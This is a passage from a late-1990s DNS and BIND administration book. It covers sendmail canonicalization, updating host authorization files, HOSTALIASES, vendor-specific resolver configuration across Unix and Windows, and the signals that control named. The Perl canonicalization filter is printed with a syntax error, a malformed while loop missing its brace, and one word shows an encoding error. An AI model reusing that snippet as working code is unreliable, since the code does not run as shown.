and get to the same place. The same holds true for the other services, too. There's one other behavioral difference you may benefit from: because a name server may return more than one IP address when you look up an address, modern versions of telnet and ftp will try to connect to the first address returned, and if the connection is refused or times out, for example, it will try the next, and so on:

% ftp tootsie
ftp: connect to address 192.249.249.244: Connection timed out
Trying 192.253.253.244...
Connected to tootsie.movie.edu.
220 tootsie.movie.edu FTP server (Version 16.2 Fri Apr 26
    18:20:43 GMT 1991) ready.
Name (tootsie: guest):

And remember that with the resolv.conf sortlist directive, you can even control the order in which your applications try those IP addresses.

One oddball service is NFS. The mount command can handle domain names just fine, and you can put domain names into /etc/fstab (your vendor may call it /etc/checklist), too. But watch out for /etc/exports and /etc/netgroup. /etc/exports controls which filesystems you allow various clients to NFS-mount. You can also assign a name to a group of hosts in netgroup and then allow them access via exports by using the name of the group.

Unfortunately, older versions of NFS don't really use DNS to check exports or netgroup - the client tells the NFS server its identity in an RPC (Remote Procedure Call) packet. Consequently, the client's identity is whatever the client claims it is. And the identity a host uses in Sun RPC is the local host's hostname. So the name you use in either file needs to match the client's hostname, which isn't necessarily its domain name.

6.3.2 Electronic Mail

Some electronic mail programs, including sendmail, also don't work as expected; sendmail doesn't use the search list quite the same way other programs do. Instead, when configured to use a name server, it uses a process called canonicalization to convert names in electronic mail addresses to full, canonical domain names.

In canonicalization, sendmail applies the search list to a name and looks up data of type ANY, which matches any type of record. If the name server queried finds a CNAME record (an alias), it replaces the name looked up with the canonical name the alias points to. If the name server queried finds an A record (an address), sendmail uses the domain name that resolved to the address as the canonical name. If the name server doesn't find an address, but finds one or more MX records:

  • If the search list has not yet been appended, sendmail uses the domain name that resolved to the MX record(s) as the canonical name.

  • If one or more elements of the search list have been appended, sendmail notes that the domain name is a potential canonical name, and continues appending elements of the search list. If a subsequent element of the search list turns up an address, the domain name that turned up the address is the canonical name. Otherwise, the domain name that found the first MX record is used as the canonical name.[7]

    [7] All this complexity is necessary to deal with wildcard MX records, which we'll discuss in Chapter 15, Miscellaneous.

sendmail uses canonicalization several times when processing an SMTP message; it canonicalizes the destination address and several fields in the SMTP headers.[8]

[8] Some older versions of sendmail use a different technique for doing canonicalization: they apply the search list and query the name server for type CNAME records for the name in question. CNAME matches only CNAME records. If a record is found, the name is replaced with the domain name on the right-hand side of the CNAME record.

sendmail also sets macro w (not to be confused with class w) to the canonicalized hostname when you freeze the sendmail.cf file, or, if you don't freeze your configuration file, when the sendmail daemon starts up. So even if you set your hostname to a short, single-part name, sendmail will canonicalize the hostname using the search list defined in resolv.conf.

This is important because the local host's canonical name is the only name sendmail recognizes, by default, as the local host's name. sendmail will attempt to forward mail that's addressed to a domain name it thinks isn't local. So, for example, unless you configure sendmail to recognize the host's aliases (using class w or fileclass w, as we showed in Chapter 5, DNS and Electronic Mail), the host will try to forward messages that arrive addressed for anything other than the canonical domain name.

There's another important implication of the way sendmail canonicalizes the local hostname - sendmail recognizes only the local host's canonical name in MX lists. Consequently, if you use anything other than a host's canonical name in an MX record, you run the risk that the host will not recognize it. This can cause mail to loop and then be returned to the sender.

One last note on sendmail: when you start running a name server, if you're running an older version of sendmail (before version 8), you should also set the I option in your sendmail.cf file. Option I determines what sendmail does if a lookup for a destination host fails. When using /etc/hosts, a failed lookup is fatal. If you search the host table once for a name and don't find it, it's doubtful it'll miraculously appear later, so the mailer may as well return the message. When using DNS, however, a lookup failure may be temporary, because of intermittent networking problems, for example. Setting option I instructs sendmail to queue mail if a lookup fails, instead of returning it to the sender. Just add OI to your sendmail.cf file and refreeze it, if you use a frozen configuration file.

6.3.3 Updating .rhosts, hosts.equiv, etc.

Once you start using DNS, you may also need to disambiguate host names in your host's authorization files. Entries that use simple, one-part host names will now be assumed to be in the local domain. For example, the lpd.allow file on wormhole might include:

wormhole
terminator
diehard
robocop
mash
twins

If we move mash and twins into the comedy.movie.edu domain, though, they won't be allowed to access lpd; the entries in lpd.allow only allow mash.movie.edu and twins.movie.edu. So we'd have to add the proper domains to host names outside of the local host's default domain:

wormhole
terminator
diehard
robocop
mash.comedy.movie.edu
twins.comedy.movie.edu

Some other files you should check for host names in need of domain-ification are:

hosts.equiv
.rhosts
X0.hosts
sendmail.cf

Sometimes, simply running these files through a canonicalization filter - a program that translates host names to domain names using the search list - is enough to disambiguate them. Here's a short canonicalization filter in Perl to help you out:

#!/usr/bin/perl

# Perl canonicalization filter
#
# Expects one hostname per line, in the first field (a la .rhosts,
# X0.hosts)

use Socket;

while( < >)
    if(($hostname, $null) = split){
      ($domainname, $aliases, $addrtype, $length, @addrs) =
            gethostbyname($hostname);
      if($domainname) {s/$hostname/$domainname/;}
    }
    print;
}

6.3.4 Providing Aliases

Even if you cover all your bases and convert all your .rhosts, hosts.equiv, and sendmail.cf files after you configure your host to use DNS, your users will still have to adjust to using domain names. Hopefully, the confusion they feel will be minimal, and will be more than offset by the benefits of DNS.

One way to make your users' lives less confusing after configuring DNS is to provide aliases for well-known hosts that are no longer reachable using their familiar names. For example, our users are accustomed to typing telnet doofy or rlogin doofy to get to the bulletin board system run by the movie studio on the other side of town. Now they'll have to start using doofy's full domain name, doofy.maroon.com. But most of our users don't know the full domain name, and it'll be some time before we can tell all of them and they get used to it.

Luckily, DNS will let you define aliases for your users. All we need to do is set the environment variable HOSTALIASES to the pathname of a file that contains mappings between aliases and domain names. For example, to set up a system-wide alias for doofy, we could set HOSTALIASES to /etc/host.aliases in the system's shell startup files, and add:

doofy    doofy.maroon.com

to /etc/host.aliases. The alias file format is simple: the alias starts the line in column one, followed by whitespace, and then the domain name that corresponds to the alias. The domain name is written without a trailing dot. The alias can't contain dots.

Now, when our users type telnet doofy or rlogin doofy, the resolver will transparently substitute doofy.maroon.com for doofy in the name server query. The message the users see will look something like:

Trying...
Connected to doofy.maroon.com.
Escape character is '^]'.
IRIX System V.3 (sgi)
login:

If the resolver falls back to using /etc/hosts, though, our HOSTALIASES won't have any effect. So we should also keep a similar alias in /etc/hosts.

With time, and perhaps a little instruction, the users will start to associate the full domain name they see in the telnet banner with the bulletin board they use.

With HOSTALIASES, if you know the domain names your users are likely to have trouble with, you can save them a little frustration. If you don't know which hosts they're trying to get to, you can let your users create their own alias files, and have each point the HOSTALIASES variable in his shell startup file to his personal alias file.

Previous: 6.2 Sample Resolver Configurations | DNS & BIND | Next: 6.4 Vendor-Specific Options
6.2 Sample Resolver Configurations | Book Index | 6.4 Vendor-Specific Options


[Chapter 6] 6.4 Vendor-Specific Options

DNS & BIND

DNS & BINDSearch this book
Previous: 6.3 Minimizing Pain and Suffering Chapter 6
Configuring Hosts 		Next: 7. Maintaining BIND

6.4 Vendor-Specific Options

UNIX is ostensibly a standard operating system, but there are almost as many UNIX standards as flavors of UNIX. Likewise, there are almost as many different styles of resolver configuration as there are UNIXes. Almost all support the original Berkeley syntax, but most add nonstandard enhancements or variations, too. We'll cover as many of the major styles of resolver configuration as we can.

6.4.1 Sun's SunOS 4.x

Configuring a host running SunOS can be a challenge. The behavior of the SunOS resolver is arguably as different from that of standard DNS as major vendors get - primarily because SunOS's resolver is integrated with Sun's Network Information Service, or NIS (n閑 Yellow Pages).

NIS, briefly, provides a mechanism for keeping important files synchronized between hosts on a network. This includes not just /etc/hosts, but also /etc/services, /etc/passwd, and others. Sun positions DNS as a backup option to NIS; if the NIS resolver can't find a host name (or IP address) in the NIS hosts map, you can configure it to query a name server.

Note that the resolver functionality is implemented as part of the ypserv program, which also handles other types of NIS queries. So if ypserv isn't running, neither is your resolver! (Mercifully, the resolver in Solaris 2 doesn't require that you run ypserv.) One benefit of using ypserv to resolve all queries is that you don't need to configure the resolvers on NIS clients, only on NIS servers.[9] The NIS clients will query an NIS server for host data, and the NIS server will query DNS, if necessary.

[9] Actually, you also need to configure the resolver on hosts on which you use sendmail.mx, Sun's MX-smart version of sendmail.

If you run SunOS 4.X (Solaris 1), you can (1) follow the party line and configure your resolver to use DNS as a backup to NIS, (2) choose to run NIS without host maps, or (3) buck convention and recompile your resolver to use DNS exclusively - or you can pick up free copies of modified resolvers on the Internet. However, we must warn you that, according to our sources, Sun will not support the modified resolver option.

If you run Solaris 2, you can simply configure the resolver like a normal human being. You also have control over the order in which the resolver consults various naming services via the nsswitch.conf file.

6.4.1.1 Modified resolvers

We won't go into much detail about this option here, primarily because this process is now well-documented and nearly automated in the newest DNS distribution. The process itself usually involves creating a new libc.so - the standard, shared C library - by pulling out routines that call NIS and replacing them with pure DNS versions. Although Sun generously provides the necessary replacement routines, they don't support them. Worse, the routines supplied with SunOS 4.1 were based on DNS 4.8.1.

If you have the latest DNS source distribution, look for instructions on installing the DNS 8.1.2 resolver routines under SunOS in the package's src/port/sunos/shres subdirectory, currently in a file called INSTALL.

If you'd rather skip the potentially edifying experience of creating your own shared C library and leverage someone else's efforts, you can check out resolv+, based on the DNS 4.8.3 resolver.

resolv+ is an enhanced version of the 4.8.3 resolver routines for SunOS, written by Bill Wisner, which allows administrators to choose the order in which NIS and DNS are queried (much like the extensions other vendors have added to UNIX, which we'll discuss later). The new routines are available, with instructions on how to build them into libc.so, from ftp.uu.net as the file /networking/ip/dns/resolv+2.1.1.tar.Z. For more information on the functionality resolv+ provides, see the Linux section later in this chapter.

6.4.1.2 Using DNS with NIS

If you go the socially acceptable route, though, you'll need to make NIS and DNS coexist peacefully. That's a little tricky, so we'll go over it in some detail. We won't cover how to set up NIS - that's already been covered in gory detail in Hal Stern's Managing NFS and NIS (O'Reilly & Associates, 1991). Note that these instructions only apply to versions of SunOS after 4.1. If you run an older version of SunOS, consider the replacement libraries on ftp.uu.net.

First, you'll need to modify the Makefile NIS uses to build its maps - the files that it distributes to other hosts on the network. You should make this modification on the master NIS server, not on the slaves.

The NIS Makefile lives in /var/yp/Makefile on a SunOS host. The change you need to make is simple: you need to uncomment one line and comment another. Find the lines that read:

#B=-b
B=

and change them to read:

B=-b
#B=

Then rebuild your NIS hosts map:

# cd /var/yp
# rm hosts.time
# make hosts.time
updated hosts
pushed hosts

This will insert a "magic cookie" into the hosts map that instructs NIS to query DNS if it can't find a host name in the hosts map. Now, when the ypserv program looks up a name, it will check the appropriate hosts map for the local NIS domainname, and if it can't find the name there, it will query a name server. The search list ypserv uses when it queries the name server is derived from either the local NIS domainname or from the domain directive in resolv.conf.

Next, you should create a resolv.conf file, if you need one. The rules for configuring the resolver change slightly with SunOS:

  • You can't set the hostname to a domain name and have the resolver infer the local domain.

  • You also can't use the search directive in resolv.conf, since the SunOS 4.1.1 resolver is based on DNS 4.8.1. The resolver will silently ignore it.

  • You can set the NIS domainname to a domain name (you have to set it to the name of your NIS domain if you're using NIS), and the resolver will derive the name of the local DNS domain from it. However, this doesn't work quite the same way it does with DNS; if you set domainname to fx.movie.edu, for example, the search list will only include movie.edu. Why doesn't the search list include fx.movie.edu? Because NIS assumes it's already checked an authoritative source of fx.movie.edu host data - the fx.movie.edu hosts map.

  • If you want to set the default domain to the same name as your NIS domainname, you can prepend a dot or a plus ("+") to the domainname. To set your default domain to fx.movie.edu, you could set domainname to either +fx.movie.edu or .fx.movie.edu.

  • You can also override NIS's normal behavior by setting the local domain with the domain directive in resolv.conf. So if you wanted to force the resolver to include fx.movie.edu in the search list, you could add domain fx.movie.edu to resolv.conf.

  • You can even set the domain directive in resolv.conf to a DNS domain name totally unrelated to your NIS domainname. In some unfortunate situations, the local NIS domainname isn't the same as, or even similar to, the DNS domain name. Say the Information Technology Department at Movie U. originally set up the NIS domain it.dept.movieu, and still uses it. To prevent spurious DNS queries in the nonexistent dept.movieu domain, hosts in this NIS domain should be configured with domain movie.edu (or something similar) in resolv.conf.

Finally, Sun's resolv.conf treats the nameserver directive just as vanilla DNS does. So once you're done inserting magic cookies and configuring your NIS domainname and possibly your DNS domain, you can add any name servers to resolv.conf and be done.

6.4.1.3 Ignoring NIS

If you want to retain Sun's support but would rather not use icky NIS, you still have an option: you can run NIS with an empty hosts map. First, set up your resolv.conf file, then insert the magic cookie into the NIS Makefile as we described in the preceding section, "Using DNS with NIS," and create an empty hosts map. Creating an empty hosts map just requires moving the NIS master server's /etc/hosts file aside temporarily, generating your hosts NIS map, then replacing the /etc/hosts file:

% mv /etc/hosts /etc/hosts.tmp
% touch /etc/hosts # to keep make from complaining
% cd /var/yp
% make hosts.time
updated hosts
pushed hosts
% mv /etc/hosts.tmp /etc/hosts

Now, when the resolver checks NIS, it won't find anything, and will go directly to querying a domain name server.

If you periodically rebuild your NIS maps, you should make sure the hosts map doesn't accidentally get rebuilt from /etc/hosts. The best way to do this is to remove the hosts target from the NIS Makefile. You can just comment out everything in the Makefile from the line that begins with:

hosts.time: $(DIR)/hosts

to the next blank line.

6.4.2 Sun's Solaris 2.x

The resolver in Solaris 2 through 2.5.1 is based on the DNS 4.8.3 resolver, with extensions to give you the ability to determine the order in which the resolver consults the "sources:" DNS, NIS, and /etc/hosts. The resolver in Solaris 2.6 is based on the DNS 4.9.3 resolver, with the same extensions.[10] This service order is configured in a file called nsswitch.conf, which lives in the /etc directory.

[10] You can get patches to update Solaris 2.5 and 2.5.1 to DNS 4.9.3 via anonymous ftp from sunsolve1.sun.com in /pub/patches. Check http://sunsolve.sun.com/sunsolve/pubpatches/patches.html for the current patch numbers.

Actually, nsswitch.conf is used to configure the order in which a number of different services are resolved. Individual services, called databases in Sun's parlance, are selected by a keyword. For naming services, the database name is hosts. The possible sources are dns, nis, nisplus, and files (which refers to /etc/hosts, in this case). Configuring the order in which the sources are consulted is a simple matter of listing them after the database name in that order. For example:

hosts:  dns files

has the resolver try DNS (i.e., query a name server) first, then check /etc/hosts. By default, resolution moves from one source to the next (e.g., falls back to /etc/hosts from DNS) only if the first source isn't available. You can modify this behavior by using several other criteria to determine when to move on to the next source. The possible criteria are:

UNAVAIL

The service hasn't been configured (in DNS's case, there is no resolv.conf file, and there is no name server running on the local host).

NOTFOUND

The service can't find the name or address in question.

TRYAGAIN

The service isn't currently available (for example, because the resolver has timed out while trying to look up a name).

SUCCESS

For each of these criteria, you can specify that the resolver should either continue or return. For example, if you want the resolver to check /etc/hosts if DNS isn't configured or if DNS can't find the name, you can use:

hosts:  dns [NOTFOUND=continue UNAVAIL=continue] files

If you want a DNS NXDOMAIN (no such domain name) answer to halt the search for the name, you'd use:

hosts:  dns [NOTFOUND=return]

The default Solaris resolver behavior, by the way, is determined by the answers you give SunInstall.

6.4.2.1 nscd

In recent versions of Solaris 2.X, including 2.5 and later, Sun introduced a name service cache daemon, called nscd. nscd caches the results of lookups in the passwd, group, and hosts databases. You can think of nscd as very similar to a caching-only name server, except that it also works for information in passwd and group databases. Sun's intent with nscd was to speed up performance by caching frequently-looked-up names. Unfortunately, word on the street is that nscd sometimes slows DNS lookups, and many people disable it. Moreover, nscd interferes with round robin (nscd caches records in one order and doesn't rotate them).

nscd is started by default during a multiuser bootup, and reads the configuration file /etc/nscd.conf. Administrators can tune a number of parameters in nscd.conf. The most important of these are:

enable-cache hosts (yes | no)

Determines whether or not nscd caches the results of host lookups

positive-time-to-live hosts value

Determines how long nscd caches positive results (e.g., addresses), in seconds

negative-time-to-live hosts value

Determines how long nscd caches negative results (e.g., NXDOMAIN), in seconds

If you're not convinced of nscd's usefulness, at least with DNS lookups, you can use:

enable-cache hosts no

to turn caching off for the hosts database.

6.4.3 HP's HP-UX

HP's resolver implementation is basically straight DNS; the HP-UX 8.0 and 9.0 resolvers are based on DNS 4.8.3, and support the standard domain, nameserver, and search directives. The order in which a host consults DNS, NIS, and the host table is hard-wired. The host will use DNS if DNS is configured. If DNS isn't configured, and NIS is running, the host will use NIS. If neither DNS nor NIS is running, the host will use the host table. The host only falls back to using the other services under the circumstances described earlier in the chapter (i.e., the resolver only uses one name server - either listed in resolv.conf or on the local host by default - and four errors are received while contacting that name server).

The hard-wired algorithm is less flexible than what other vendors provide, but it's easy to troubleshoot. When you can consult DNS, NIS, and the host table in any order, diagnosing user problems can be awfully difficult.

The HP-UX 10.30 resolver is based on DNS 4.9.3, and patches are available for all versions of 10.X to upgrade the server and ancillary programs to DNS 4.9.6. To gain access to the patches, visit the HP-UX patch archive at http://us-support.external.hp.com/ and register. You can then search the patch database for the latest patches.

HP-UX 10.0 introduced Solaris's nsswitch.conf functionality; that is, you can use nsswitch.conf to control the order in which the resolver consults the various naming services.[11] The syntax is exactly the same as that used in Solaris's nsswitch.conf. The default settings for the hosts database under HP-UX are:

[11] Before HP-UX 10.10, you could only use nsswitch.conf to configure order of resolution for the hosts database. From 10.10 on, you can also use nsswitch.conf to configure resolution order for the services, networks, protocols, rpc, and netgroup databases.

hosts: dns nis files

This functionality is also available in patches for HP-UX 9.0. Check the web-based HP-UX patch archive for these. You may need quite a few patches:

  • One for the standard, shared C library, libc.so, which contains the resolver routines in HP-UX

  • One for the mount command, which is statically linked

  • One for nslookup

  • One for the ifconfig and route commands

  • One for HP's Visual User Environment (VUE), which is shipped statically linked

The HP-UX 10.30 resolver also supports the DNS 4.9.3 search list behavior and the options ndots directive.

6.4.4 IBM's AIX

The resolver shipped with the current version of AIX, 4.2.1, is also relatively standard. The code is based on DNS 4.9.3, so it understands the domain, search, nameserver, options, and sortlist directives; AIX supports up to three nameserver directives. AIX versions 4 and 4.1 were based on DNS 4.8.3, so they handle all the directives AIX 4.2.1's resolver does except options and sortlist.

One difference between AIX's behavior and the stock BSD behavior is that AIX uses the existence of the resolv.conf file to determine whether to query a name server. If resolv.conf doesn't exist on the local host, the resolver reads /etc/hosts. This means that on a host running a name server, you should create a zero-length /etc/resolv.conf file, even if you don't intend to put any directives in it.

IBM has also modified the resolver so that it checks NIS and then /etc/hosts, even if DNS claims there's no such domain name or no such data. This gives you the ability to add hosts to /etc/hosts temporarily, before they make it into the name server, and will let you maintain your own host-specific name-to-address mappings.

AIX 4.2.1 also includes a mechanism to control resolution order similar to Solaris's nsswitch.conf. AIX uses a file called /etc/netsvc.conf. Like nsswitch.conf, netsvc.conf calls the database hosts, but uses an equals sign between the database name and the sources instead of a colon, uses commas between sources, uses bind for DNS, and uses local for /etc/hosts. So:

hosts = local,nis,bind

has the AIX resolver check the local /etc/hosts first, then check the NIS hosts map, and finally try DNS. Individual users or processes can override the system-wide resolution order configured with netsvc.conf by setting an environment variable, NSORDER. NSORDER uses the same syntax netsvc.conf does, minus the database name and equal sign. So to change the resolution order for your user to check DNS first and then /etc/hosts, ignoring NIS, you could run:

% NSORDER=bind,local; export NSORDER

AIX 3.2's resolver was based on the DNS 4.8.1 resolver, so it doesn't understand the search directive. It exhibits the same peculiarities with respect to the existence of resolv.conf that the 4.1 resolver does. For those of you with older AIX 3.2 installations, there is a patch, PTF U412845, that will let you shorten the resolver timeout so that AIX will fall back to /etc/hosts more quickly than normal. There are also instructions on using Bill Wisner's resolv+ package with AIX in the AIX FAQ, posted periodically to comp.unix.aix and archived on rtfm.mit.edu in /pub/usenet/news.answers/aix-faq/. Use at your own risk. For more information on resolv+'s functionality, see the Linux section later in this chapter.

We should also note that you can configure the resolver using AIX's System Management Interface Tool (SMIT).

6.4.5 Digital's Digital UNIX

The resolver shipped with the most recent version of Digital UNIX, 4.0D, is based on the DNS 4.9.3 resolver. As such, it understands all five resolver directives covered in this chapter.

Digital UNIX allows you to configure the order in which the resolver checks NIS, DNS, and the host table via a file called svc.conf (see the svc.conf(5) manpage).[12] svc.conf also allows you to configure which services are consulted for other "databases," including mail aliases, authentication checks (mapping from IP address to host or domain names), password and group information, and a slew of other things.

[12] Digital's "other" UNIX operating system, Ultrix, also supports svc.conf.

To configure the resolver with svc.conf, use the database name hosts, followed by an equals sign and the keywords for the services you want checked, separated by commas, in the order you want them checked. The legal keywords for hosts are local (the local host table), yp (for "Yellow Pages," the old name for NIS), and bind (for DNS). local must be the first service listed for hosts. Don't use any whitespace on the line, except (optionally) after commas and at the end of the line.

The line:

hosts=local,bind

instructs the resolver to check /etc/hosts for host names first, and if no match is found, to use domain name service. This is very useful when the host has a small local host table that includes the local host's domain name and IP address, the host's default router, and any other hosts referenced during startup. Checking the local host table first avoids any problems using domain name service during startup, when networking and named may not have started.

Digital UNIX also includes a utility called svcsetup (see the svcsetup(8) manpage), which allows you to set up the svc.conf file interactively, without the aid of an editor. Typing svcsetup will throw you into a mode where you can choose the database you'd like to configure, and will prompt you for the order of the services you want checked.

6.4.6 Silicon Graphics' IRIX

As of IRIX 6.2, IRIX has a DNS 4.9.3 name server, but the resolver is still essentially 4.8.3. There are also patches available to bring the server up to DNS 4.9.4. For the current patch numbers, see http://support.sgi.com/surfzone/patches/browse/index.html (you'll need to register if you aren't already a SurfZone member).

The IRIX resolv.conf file, which lives in /usr/etc/resolv.conf, adds a hostresorder directive. The hostresorder directive allows the administrator to determine the order in which NIS, DNS, and the local host table are searched. Individual users can set the environment variable HOSTRESORDER to determine the order in which the services are used for their commands.

hostresorder takes one or more of the keywords nis, bind, and local as arguments. (The keywords correspond to the obvious services.) The keywords may be separated by either whitespace or a slash. Whitespace indicates that the next service should be tried if the previous service doesn't return an answer (e.g., the name isn't found in the host table, or the name server returns "no such domain") or isn't available (e.g., the name server isn't running). A slash indicates that the preceding service is authoritative, and if no answer is returned, resolution should stop. The next service is tried only if the previous isn't available.

6.4.7 SCO's Open Server 5.0

The newest release of SCO's UNIX operating system, Open Server 5.0.X, has a resolver based on the DNS 4.9.2 resolver. As a 4.9.2-derived resolver, it understands all of the normal directives (including sortlist and options!) in resolv.conf plus hostresorder. hostresorder works exactly the same way it does in IRIX (see the section on IRIX immediately preceding this section); the keywords are the same (bind, nis, and local), and a slash, instead of a space, indicates that the preceding service is authoritative and the search should return if that service doesn't find the name. The default setting (without hostresorder configured) is equivalent to:

hostresorder bind nis local

Also, even if resolution order isn't explicitly configured, if DNS and NIS aren't available, the resolver will use /etc/hosts.

You can override anything configured with domain, options, or hostresorder in resolv.conf with the environment variables LOCALDOMAIN, RES_OPTIONS, and HOSTRESORDER, respectively. For example, to change resolution order to DNS-only and the options to set ndots to 1 before starting sendmail, you could run:

% HOSTRESORDER="dns"; RES_OPTIONS="ndots:1"
% export HOSTRESORDER RES_OPTIONS
% /usr/lib/sendmail -bd -q1h

6.4.8 Linux

Since we first published this book, Linux has taken the computing world by storm. A couple of the reasons are that Linux is freeware, and that it does a better job of keeping up with developments in the UNIX and Internet communities than any vendor's version of UNIX. Attesting to that is the fact that RedHat Linux 5.1, the latest version of one of the predominant strains of Linux, ships with a DNS 4.9.6 resolver and server. The resolver also supports Sun's nsswitch.conf file.

However, some older Linux resolvers are based on Bill Wisner's resolv+ library, which is in turn based on DNS 4.8.3. Consequently, the resolv.conf file can include any legit 4.8.3 resolver directives (domain, search, and nameserver, but not options) and has the older default search list described in this chapter.

resolv+, as the name suggests, also provides several enhancements over the standard 4.8.3 resolver. They include the ability to determine the order in which DNS, NIS, and /etc/hosts are consulted (replaced by the more standard nsswitch.conf in newer versions), the ability to detect certain types of DNS spoofing, and the ability to reorder address records in replies to favor local subnets.

All of these enhancements are controlled by the /etc/hosts.conf file. The most interesting keywords that hosts.conf accepts are:

order

Controls the order in which the various name services are consulted; the valid arguments are bind, hosts, and nis, at least one of which must follow the keyword. Multiple arguments must be separated by commas.

nospoof

Takes the single argument on or off. nospoof instructs the resolver to check any reverse mapping (PTR) information it gets from remote name servers by issuing a forward (address) query for the domain name in the reply. If the address returned by the address query isn't the same as the address the resolver originally tried to reverse map, the PTR record is ignored.

reorder

Takes the single argument on or off. With reorder on, the resolver sorts the addresses of multiply-homed hosts so that any address on a local subnet appears first.

6.4.9 Windows 95

Windows 95, the successor to the popular Windows operating system, includes its own TCP/IP stack with a DNS resolver. In fact, Windows 95 actually includes two TCP/IP stacks: one for TCP/IP over LANs, and another for TCP/IP over dialup connections. Configuration of the resolver in Windows 95 is, naturally enough, graphical. To get to the main DNS configuration panel, start the Control Panel, then select Network, then choose the TCP/IP protocol. This brings up a new dialog, which looks similar to the one in Figure 6.1. Choose the tab labeled DNS Configuration.

Figure 6.1: Resolver configuration under Windows 95

Configuration using this panel is fairly self-explanatory: you check Enable DNS to turn on DNS resolution, then fill in the PC's hostname (in this case, the first label of its domain name) in the Host field, and the local domain (everything after the first dot) in the Domain field. You add the IP addresses of the name servers you want to query, in the order in which you want to query them, under DNS Server Search Order. Finally, you fill in the domains in the search list under Domain Suffix Search Order in the order in which you want them applied.

One interesting note about the current version of Windows 95: you can configure a different set of name servers for each dial-up connection you might have to an Internet service provider (ISP) in the Dial-Up Networking (DUN) configuration. To configure DUN-specific resolver settings, double-click on the My Computer icon on your desktop, then double-click on Dial-Up Networking, right-click on the name of the connection whose resolver settings you'd like to configure, then select Properties. Select the Server Types tab and click on TCP/IP Settings. You'll see the window shown in Figure 6.2.

Figure 6.2: DUN resolver configuration under Windows 95

If you leave the Server assigned name server addresses radio button checked, the resolver will retrieve the name servers it should query from the DHCP server you dial into. If you check Specify name server addresses and specify the addresses of one or two name servers, Windows 95 will try to use those name servers when the DUN connection is active.

This is really useful if you use multiple ISPs and each has its own name servers. However, configuring name servers in the TCP/IP Properties panel overrides the DUN-specific name servers. To use the DUN-specific name server feature, you must leave the TCP/IP Properties panel blank except for enabling DNS and specifying the local hostname. This limitation is probably just an oversight due to a lack of integration between the dial-up and LAN TCP/IP stacks, and should be corrected in a future release of Windows 95.

Lest you think this is the only idiosyncrasy in the way that DNS resolution works on Windows 95, we'll point you to the Windows 95 Networking FAQ, maintained by Rich Graves, at http://www-leland.stanford.edu/~llurch/win95netbugs/faq.html. This FAQ contains lots of valuable DNS information, including how to change the order in which the Win95 resolver uses the LMHOSTS file, WINS, and DNS.

6.4.10 Windows NT

In Windows NT, LAN resolver configuration is done from a single panel that looks remarkably similar to Windows 95's now that NT 4.0 - which includes the Windows 95 "shell" - has been released. In fact, other than the presence of handy little arrows that allow you to reorder name servers and elements of the search list, there's really no semantic difference between them, as shown in Figure 6.3.

Figure 6.3: Resolver configuration under Windows NT

To get to the DNS configuration panel, start the Control Panel, click on Network, and select the Protocols tab. Double-click on TCP/IP Protocol, then select the DNS tab.

Windows NT also allows the user to configure resolver settings specific to particular dialup networking connections. To configure these, click on the My Computer icon, start Dial Up Networking, pull down the top selection box and choose the name of the DUN connection whose resolver you'd like to configure. Then click on the More pull-down and select Edit Entry and Modem Properties. Select the Server tab on the resulting window, and click on the TCP/IP Settings button. You'll see the very same window you'd see in Windows 95 (shown earlier). If you leave the Server assigned name server addresses radio button checked, the resolver will retrieve the name servers it should query from the DHCP server you dial into. If you check Specify name server addresses and specify the addresses of one or two name servers, Windows NT will use those name servers when the DUN connection is active. When you drop the DUN connection, NT will revert to using the LAN resolver's settings.

Previous: 6.3 Minimizing Pain and Suffering | DNS & BIND | Next: 7. Maintaining BIND
6.3 Minimizing Pain and Suffering | Book Index | 7. Maintaining BIND


[Chapter 7] Maintaining BIND

DNS & BIND

DNS & BINDSearch this book
Previous: 6.4 Vendor-Specific Options Chapter 7 Next: 7.2 Updating db Files

7. Maintaining BIND

Contents:
BIND Name Server Signals
Updating db Files
Organizing Your Files
Changing BIND 8 System File Locations
BIND 8 Logging
Keeping Everything Running Smoothly

"Well, in our country," said Alice, still panting a little, "you'd generally get to somewhere else - if you ran very fast for a long time as we've been doing."

"A slow sort of country!" said the Queen. "Now, here, you see, it takes all the running you can do, to keep in the same place. If you want to get somewhere else, you must run at least twice as fast as that!"

This chapter discusses a number of related topics pertaining to name server maintenance. We'll talk about sending signals to name servers, modifying the db files, and keeping db.cache up to date. We'll list common syslog error messages and explain the statistics BIND keeps.

This chapter doesn't cover troubleshooting problems. Maintenance involves keeping your data current and watching over your name servers as they operate. Troubleshooting involves putting out fires - those little DNS emergencies that flare up periodically. Firefighting is covered in Chapter 13, Troubleshooting DNS and BIND.

7.1 BIND Name Server Signals

In day-to-day operation, the BIND name server, named, is manipulated with signals. We'll use them in this chapter and in other chapters. Here's a list of the signals you can send to a name server and a short description of the action each signal causes. Each of these signals will be discussed in more detail elsewhere in this book. (On some systems, the files listed below will be found in /var/tmp instead of /usr/tmp.)

HUP

Reload the name server. Send this signal to a primary master name server after modifying its configuration file or one of its database files. Send this signal to a 4.9 or later slave name server to cause it to update its slave zones if they are not current.

INT

Dump a copy of the name server's internal database to named_dump.db in /usr/tmp (version 4) or in the name server's current directory (version 8).

ABRT (version 4)

Append the name server's statistics to /usr/tmp/named.stats. This signal may be called IOT on your system.

ILL (version 8)

Append the name server's statistics to named.stats in the name server's current directory.

USR1

Append debugging information to named.run in /usr/tmp (version 4) or in the name server's current directory (version 8). Each subsequent USR1 signal increases the amount of detail in the debugging information. For information on what is logged at each level, see Chapter 12, Reading BIND Debugging Output.

USR2

Turn off debugging.

WINCH

Toggle logging all queries with syslog. Logging takes place at priority LOG_INFO. named must be compiled with QRYLOG defined (it is defined by default). This feature did not exist in version 4.8.3.

TERM (version 8)

Exit and save dynamic zones to files.

The 4.9 and later distributions provide a handy shell script for sending these signals, called ndc. Check out the manpage for the command syntax or just run ndc without any options and it will display a usage message. Be careful not to use a BIND 4 version of ndc with a BIND 8 name server since the signal to send for statistics has changed. If you don't have ndc, you'll have to send the signals manually. Read on.

To send a name server a signal, you must first find the name server's process ID. The BIND name server leaves its process ID in a disk file, making it easier to chase the critter down - you don't have to use ps. The most common place for the process ID to be left is /etc/named.pid. On some systems, the process ID is in /var/run/named.pid. Check the named manual page to see which directory named.pid is in on your system. Since the name server process ID is in a file, sending a HUP signal can be as simple as:

# kill -HUP `cat /etc/named.pid`

If you can't find the process ID in a file, you can always find the process ID with ps. On a BSD-based system use:

% ps -ax | grep named

On a SYS V-based system use:

% ps -ef | grep named

However, you may find more than one name server running if you use ps, since name servers spawn children to perform zone transfers. During a zone transfer, the name server pulling the zone data starts a child process, and the name server providing the zone data may start a child process. We'll digress a little here and explain why child processes are used.

